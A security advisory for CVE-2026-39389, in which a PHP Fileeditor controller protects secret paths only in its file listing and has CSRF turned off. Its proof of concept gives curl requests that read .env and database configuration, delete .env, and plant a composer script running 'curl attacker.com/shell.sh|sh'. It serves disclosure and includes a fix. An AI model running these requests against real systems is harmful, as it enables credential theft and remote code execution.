CVE-2026-39389

## Summary The Fileeditor controller defines a `hiddenItems` array containing security-sensitive paths (`.env`, `composer.json`, `vendor/`, `.git/`) but only enforces this protection in the `listFiles()` method. The `readFile()`, `saveFile()`, `deleteFileOrFolder()`, `renameFile()`, `createFile()`, and `createFolder()` endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only `fileeditor.read` permission can exfiltrate application secrets from `.env`, and a user with `fileeditor.update` permission can overwrite `composer.json` to achieve remote code execution. ## Details The `hiddenItems` array is defined at `modules/Fileeditor/Controllers/Fileeditor.php:10-26`: ```php protected $hiddenItems = [ '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor', 'writable', '.env', 'env', 'composer.json', 'composer.lock', 'tests', 'spark', 'phpunit.xml.dist', 'preload.php' ]; ``` This array is checked **only** in `listFiles()` at lines 45-48 and 64: ```php // Line 45-48 - path component check foreach ($pathParts as $part) { if (in_array($part, $this->hiddenItems)) { return $this->failForbidden(); } } // Line 64 - directory listing filter if (in_array($name, $this->hiddenItems)) continue; ``` However, `readFile()` (line 76) performs **neither** a `hiddenItems` check **nor** an `allowedFileTypes()` check: ```php public function readFile() { // ... validation ... $path = $this->request->getVar('path'); $fullPath = realpath(ROOTPATH . $path); if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) { return $this->response->setJSON(['error' => '...'])->setStatusCode(400); } return $this->response->setJSON(['content' => file_get_contents($fullPath)]); } ``` This means any file within ROOTPATH — regardless of extension (`.php`, `.env`, etc.) — can be read by any user with the `fileeditor.read` permission. Similarly, `saveFile()` (line 92) checks `allowedFileTypes()` but not `hiddenItems`. Since `json` is in `$allowedExtensions`, `composer.json` (which is explicitly in `hiddenItems`) can be overwritten: ```php protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md']; ``` `deleteFileOrFolder()` (line 194) checks neither `hiddenItems` nor `allowedFileTypes()`. **Compounding factor:** CSRF protection is disabled for all fileeditor routes in `modules/Fileeditor/Config/FileeditorConfig.php:7-10`: ```php public $csrfExcept = [ 'backend/fileeditor', 'backend/fileeditor/*', ]; ``` This means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page. ## PoC Requires an authenticated backend session with `fileeditor.read` permission granted. **Step 1: Read .env file to extract secrets** ```bash curl -s -b 'ci_session=<valid_session_cookie>' \ 'https://target.com/backend/fileeditor/read?path=/.env' ``` Expected response: JSON containing `.env` file contents including database credentials, encryption keys, and other secrets. **Step 2: Read PHP configuration files** ```bash curl -s -b 'ci_session=<valid_session_cookie>' \ 'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php' ``` Expected response: Full database configuration PHP source with credentials (note: `readFile()` has no `allowedFileTypes` check, so `.php` files are readable). **Step 3: Overwrite composer.json for RCE (requires `fileeditor.update` permission)** ```bash curl -s -b 'ci_session=<valid_session_cookie>' \ -X POST 'https://target.com/backend/fileeditor/save' \ -d 'path=/composer.json' \ -d 'content={"scripts":{"post-install-cmd":"curl attacker.com/shell.sh|sh"}}' ``` The next `composer install` or `composer update` executes the attacker's script. **Step 4: Delete .env (requires `fileeditor.delete` permission)** ```bash curl -s -b 'ci_session=<valid_session_cookie>' \ -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \ -d 'path=/.env' ``` ## Impact - **Credential disclosure:** Any backend user with `fileeditor.read` permission can read `.env` (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions. - **Remote code execution:** A user with `fileeditor.update` permission can overwrite `composer.json` with malicious composer scripts that execute on the next `composer install/update`. - **Denial of service:** A user with `fileeditor.delete` permission can delete `.env` or other critical configuration files, causing application failure. - **False security boundary:** Administrators who configure `fileeditor.read` as a limited permission for content editors are unknowingly granting access to all application secrets, since the `hiddenItems` protection only affects the UI file tree, not the API. ## Recommended Fix Apply `hiddenItems` validation to all endpoints that accept a `path` parameter. Extract the check into a reusable method and also add `allowedFileTypes` to `readFile()`: ```php // Add this method to the Fileeditor controller private function isHiddenPath(string $path): bool { $pathParts = explode('/', trim($path, '/')); foreach ($pathParts as $part) { if (in_array($part, $this->hiddenItems)) { return true; } } return false; } // Then add to readFile(), saveFile(), renameFile(), createFile(), // createFolder(), and deleteFileOrFolder(): if ($this->isHiddenPath($path)) { return $this->failForbidden(); } // Additionally, add allowedFileTypes check to readFile(): if (!$this->allowedFileTypes($fullPath)) { return $this->failForbidden(); } ``` Also re-enable CSRF protection by removing the CSRF exemption in `FileeditorConfig.php` (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.